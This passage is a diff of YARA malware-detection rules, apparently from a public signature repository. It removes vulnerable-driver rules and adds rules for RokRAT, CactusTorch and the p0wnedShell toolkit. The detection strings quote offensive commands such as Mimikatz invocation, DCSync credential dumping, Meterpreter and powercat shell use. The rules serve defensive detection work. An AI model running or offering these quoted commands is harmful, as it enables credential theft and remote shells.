-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ec5fac0b6bb267a2bd10fc80c8cca6718439d56e82e053d3ff799ce5f3475db5"
-		logic_hash = "74fad50be13de00367a5cecb25f7e3feb53f5e8553fac8cd32edc500a91aad88"
-		score = 40
+		reference = "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_inkysquid.yar#L104-L133"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a97041a06729d639c22a4ee272cc96555345b692fc0da8b62e898891d02b23ea"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "APT"
+		type = "APT"
+		version = "0.1"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000370038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$hex1 = {C1 C7 0D 40 F6 C7 01 74 ?? 81 F7}
+		$hex2 = {41 C1 C2 0D 41 8B C2 44 8B CA 41 8B CA 41 81 F2}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_34E0 : FILE
+rule SIGNATURE_BASE_APT_NK_Scarcruft_Evolved_ROKRAT : APT FILE
 {
-	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "11164331-fdba-5e7d-a2ea-4621b438060a"
-		date = "2023-06-14"
+	meta:
+		description = "Detects RokRAT malware used by ScarCruft APT group"
+		author = "S2WLAB_TALON_JACK2"
+		id = "53cabf41-0154-5372-b667-60d8a7cb9806"
+		date = "2021-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3208-L3228"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "34e0364a4952d914f23f271d36e11161fb6bb7b64aea22ff965a967825a4a4bf"
-		logic_hash = "a2f304406595b6cad63dbc83f32f1a35477d022fe5cad1c11ac9746d3775199d"
-		score = 40
+		reference = "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_inkysquid.yar#L135-L179"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "01a2f410687c943d6c6e421ffacfe42f9e7b6afb82e43ba03a8d525e075a3a3c"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "APT, FILE"
+		type = "APT"
+		version = "0.1"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0035002e00390036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0035002e00390036002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$AES_IV_KEY = {
+        C7 44 24 ?? 32 31 12 23
+        C7 44 24 ?? 34 45 56 67
+        C7 44 24 ?? 78 89 9A AB
+        C7 44 24 ?? 0C BD CE DF
+        C7 45 ?? 2B 7E A5 16
+        C7 45 ?? 28 AE D2 A6
+        C7 45 ?? AB F7 15 88
+        C7 45 ?? 09 CF 4F 3C
+        }
+		$url_deocde = {
+               80 E9 0F
+               80 F1 C8
+               88 48 ??
+               48 83 EA 01  }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5A4D and any of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_D0BD : FILE
+rule SIGNATURE_BASE_Generic_Dropper : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "81712338-7518-565a-8004-4708808d93ee"
-		date = "2023-06-14"
+		description = "Detects Dropper PDB string in file"
+		author = "Florian Roth (Nextron Systems)"
+		id = "60ce6a5c-2e12-515b-b8cb-8c87500cb37b"
+		date = "2018-03-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3231-L3251"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d0bd1ae72aeb5f3eabf1531a635f990e5eaae7fdd560342f915f723766c80889"
-		logic_hash = "c285e87a94025916ed6d3fac65761d1ca4bef13102a0a37b256525bf651bd16c"
-		score = 40
+		reference = "https://goo.gl/JAHZVL"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_dropper_pdb.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4ef83796d232edf34a6339e00db486612a88ff2d054f1afcd524def2e53b3b7"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00300031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e00300031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e }
+		$s1 = "\\Release\\Dropper.pdb"
+		$s2 = "\\Release\\dropper.pdb"
+		$s3 = "\\Debug\\Dropper.pdb"
+		$s4 = "\\Debug\\dropper.pdb"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <900KB and 1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_3C18 : FILE
+rule SIGNATURE_BASE_CACTUSTORCH : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "94b7a58c-0092-5d81-985f-330599efe25a"
-		date = "2023-06-14"
+		description = "Detects CactusTorch Hacktool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "75606b9e-97d5-5b8b-87f5-69b7e415b73c"
+		date = "2017-07-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3254-L3271"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3c18ae965fba56d09a65770b4d8da54ccd7801f979d3ebd283397bc99646004b"
-		logic_hash = "4f958ccb21b5cbd28c25a9c2e1a08fcf00e24bfa9e7814b9e68b87814dd04f4c"
-		score = 40
+		reference = "https://github.com/mdsecactivebreach/CACTUSTORCH"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_gen_cactustorch.yar#L11-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "265287b27aa13840366dbb51ea58b2fdd10e0a57ff27d8deb52ff77dd71c26ad"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "314e6d7d863878b6dca46af165e7f08fedd42c054d7dc3828dc80b86a3a9b98c"
+		hash2 = "0305aa32d5f8484ca115bb4888880729af7f33ac99594ec1aa3c65644e544aea"
+		hash3 = "a52d802e34ac9d7d3539019d284b04ded3b8e197d5e3b38ed61f523c3d68baa7"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310036002e003900320038 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "$payload = shellcode(%options[\"listener\"], \"true\", \"x86\");" fullword ascii
+		$x2 = "Copy the base64 encoded payload into the code variable below." fullword ascii
+		$x3 = " CACTUSTORCH Payload" ascii
+		$x4 = "ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)" fullword ascii
+		$x5 = "' Author: Vincent Yiu (@vysecurity)" fullword ascii
+		$x6 = "Dim binary : binary = \"rundll32.exe\"" fullword ascii
+		$a1 = "code = code & \"" ascii
+		$a2 = "serialized_obj = serialized_obj & \"" ascii
+		$s1 = "binary = \"rundll32.exe\"" fullword ascii
+		$s2 = "EL.DataType = \"bin.hex\"" fullword ascii
+		$s3 = "Set stm = CreateObject(\"System.IO.MemoryStream\")" fullword ascii
+		$s4 = "var binary = \"rundll32.exe\";" fullword ascii
+		$s5 = "var serialized_obj = \"" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		( filesize <800KB and (1 of ($x*) or (1 of ($a*) and 1 of ($s*)))) or (3 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_2B4C : FILE
+rule SIGNATURE_BASE_P0Wnedpowercat : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
-		author = "Florian Roth"
-		id = "a337e8f1-1473-51a4-9098-69719f0c48e4"
-		date = "2023-06-14"
+		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedPowerCat.cs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "059a8e58-7b7e-582e-ba4a-80e4dffe9b5e"
+		date = "2017-01-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3274-L3294"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2b4c7d3820fe08400a7791e2556132b902a9bbadc1942de57077ecb9d21bf47a"
-		logic_hash = "3db68ef927d373e7774d52bbf1dccfa2960b4bb1b42a32a181ad9e1f00458f23"
-		score = 40
+		reference = "https://github.com/Cn33liz/p0wnedShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_p0wnshell.yar#L10-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5882d0f91f237d2abe1149421db0e217e6dfcca70130d346a70d5c851eca085f"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6a3ba991d3b5d127c4325bc194b3241dde5b3a5853b78b4df1bce7cbe87c0fdf"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000370034002c00200030002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000370034002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 }
+		$x1 = "Now if we point Firefox to http://127.0.0.1" fullword ascii
+		$x2 = "powercat -l -v -p" fullword ascii
+		$x3 = "P0wnedListener" fullword ascii
+		$x4 = "EncodedPayload.bat" fullword ascii
+		$x5 = "powercat -c " fullword ascii
+		$x6 = "Program.P0wnedPath()" ascii
+		$x7 = "Invoke-PowerShellTcpOneLine" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( uint16(0)==0x7375 and filesize <150KB and 1 of them ) or (2 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Dtresearchinc_Iomemsys_Iomemsys_3D23 : FILE
+rule SIGNATURE_BASE_Hacktool_Strings_P0Wnedshell : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iomem64.sys"
+		description = "Detects strings found in Runspace Post Exploitation Toolkit"
 		author = "Florian Roth"
-		id = "b29e4411-a408-5bd5-a763-73c18b85e2b2"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3297-L3317"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3d23bdbaf9905259d858df5bf991eb23d2dc9f4ecda7f9f77839691acef1b8c4"
-		logic_hash = "4f494f3f2367bbc5751a09b79775ea61f62986b82375c8c98bf6a77203174be1"
-		score = 40
+		id = "0846039d-1e00-5224-9560-55ab18034d54"
+		date = "2017-01-14"
+		modified = "2023-02-10"
+		reference = "https://github.com/Cn33liz/p0wnedShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_p0wnshell.yar#L31-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "faec8f0af877f1a80ff994e08c756728cea5f58000f7124c1a6e7e4c86e7f5c0"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60"
+		nodeepdive = 1
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044005400520020004b00650072006e0065006c0020006d006f006400650020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440054002000520065007300650061007200630068002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0033002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0033002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006f006d0065006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0044005400200052006500730065006100720063006800200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$x1 = "Invoke-TokenManipulation" fullword ascii
+		$x2 = "windows/meterpreter" fullword ascii
+		$x3 = "lsadump::dcsync" fullword ascii
+		$x4 = "p0wnedShellx86" fullword ascii
+		$x5 = "p0wnedShellx64" fullword ascii
+		$x6 = "Invoke_PsExec()" fullword ascii
+		$x7 = "Invoke-Mimikatz" fullword ascii
+		$x8 = "Invoke_Shellcode()" fullword ascii
+		$x9 = "Invoke-ReflectivePEInjection" ascii
+		$fp1 = "Sentinel Labs, Inc." wide
+		$fp2 = "Copyright Elasticsearch B.V." ascii wide
+		$fp3 = "Attack Information: Invoke-Mimikatz" ascii
+		$fp4 = "a30226 || INDICATOR-SHELLCODE Metasploit windows/meterpreter stage transfer attempt"
+		$fp5 = "use strict"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <20MB and 1 of ($x*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_496F : FILE
+rule SIGNATURE_BASE_P0Wnedpotato
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
-		author = "Florian Roth"
-		id = "7754e086-1936-5e47-9576-ee940453c5e7"
-		date = "2023-06-14"
+		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedPotato.cs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2c2378e3-b948-5325-9afd-76424a7130b1"
+		date = "2017-01-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3320-L3340"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "496f4a4021226fb0f1b5f71a7634c84114c29faa308746a12c2414adb6b2a40b"
-		logic_hash = "405e7a16f8290d1d5462227ccf7d42e137bc98f084c9d5763b000d101e615c6a"
-		score = 40
+		reference = "https://github.com/Cn33liz/p0wnedShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_p0wnshell.yar#L64-L81"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d9107db6c6460429358a2f9f1f47d103e96811152e8d03517871ff0c66578d05"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "aff2b694a01b48ef96c82daf387b25845abbe01073b76316f1aab3142fdb235b"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0035002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0035002e0031002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300036002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "Invoke-Tater" fullword ascii
+		$x2 = "P0wnedListener.Execute(WPAD_Proxy);" fullword ascii
+		$x3 = " -SpooferIP " ascii
+		$x4 = "TaterCommand()" ascii
+		$x5 = "FileName = \"cmd.exe\"," fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_1B00 : FILE
+rule SIGNATURE_BASE_P0Wnedexploits
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "d29981ff-6c7b-55fb-a77e-c16755e988ab"
-		date = "2023-06-14"
+		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedExploits.cs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9f754f5f-85e8-5b6f-bde2-566da4d39586"
+		date = "2017-01-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3343-L3364"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1b00d6e5d40b1b84ca63da0e99246574cdd2a533122bc83746f06c0d66e63a6e"
-		hash = "51e91dd108d974ae809e5fc23f6fbd16e13f672f86aa594dae4a5c4bc629b0b5"
-		logic_hash = "191ef735b2fa7cf3c1e0ae1a28e7996580ed2094d214f2ce7b42d856b119eb5e"
-		score = 40
+		reference = "https://github.com/Cn33liz/p0wnedShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_p0wnshell.yar#L83-L97"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "40f23316117faa63fa9e9a5d281600f8e9d41857aac815d22559391c74dec157"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "54548e7848e742566f5596d8f02eca1fd2cbfeae88648b01efb7bab014b9301b"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310032002e00300030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e00300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310030 }
+		$x1 = "Pshell.RunPSCommand(Whoami);" fullword ascii
+		$x2 = "If succeeded this exploit should popup a System CMD Shell" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Multitheftauto_Mtasanandreas_9F4C : FILE
+rule SIGNATURE_BASE_P0Wnedshellx64
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - FairplayKD.sys"
-		author = "Florian Roth"
-		id = "a7059f0e-ae46-506f-a3c0-8ecb6911cd1d"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3367-L3385"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9f4ce6ab5e8d44f355426d9a6ab79833709f39b300733b5b251a0766e895e0e5"
-		logic_hash = "b8c423a00732d4e0fb4c45c64a6794a466e604feb9d455bc110cf5169f95ab55"
-		score = 40
+		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShellx64.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c9791804-4f08-5b7e-8d9d-37e2dfccec47"
+		date = "2017-01-14"
+		modified = "2021-09-15"
+		reference = "https://github.com/Cn33liz/p0wnedShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_p0wnshell.yar#L99-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d7cd33548ed3485cc6f3cd289813a8eb83b34e800b839c5c8f8add5f9e01a3da"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		hash1 = "d8b4f5440627cf70fa0e0e19e0359b59e671885f8c1855517211ba331f48c449"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0075006c007400690020005400680065006600740020004100750074006f0020007000610074006300680020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0075006c007400690020005400680065006600740020004100750074006f }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]003300360037002e0033003200360039002e00360031002e00360034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003300360037002e0033003200360039002e00360031002e00360034 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00540041002000530061006e00200041006e00640072006500610073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800430029002000320030003000330020002d002000320030003100370020004d0075006c007400690020005400680065006600740020004100750074006f }
+		$x1 = "Oq02AB+LCAAAAAAABADs/QkW3LiOLQBuRUsQR1H731gHMQOkFGFnvvrdp/O4sp6tkDiAIIjhAryu4z6PVOtxHuXz3/xT6X9za/Df/Hsa/JT/9Pjgb/+kPPhv9Sjp01Wf" wide
+		$x2 = "Invoke-TokenManipulation" wide
+		$x3 = "-CreateProcess \"cmd.exe\" -Username \"nt authority\\system\"" fullword wide
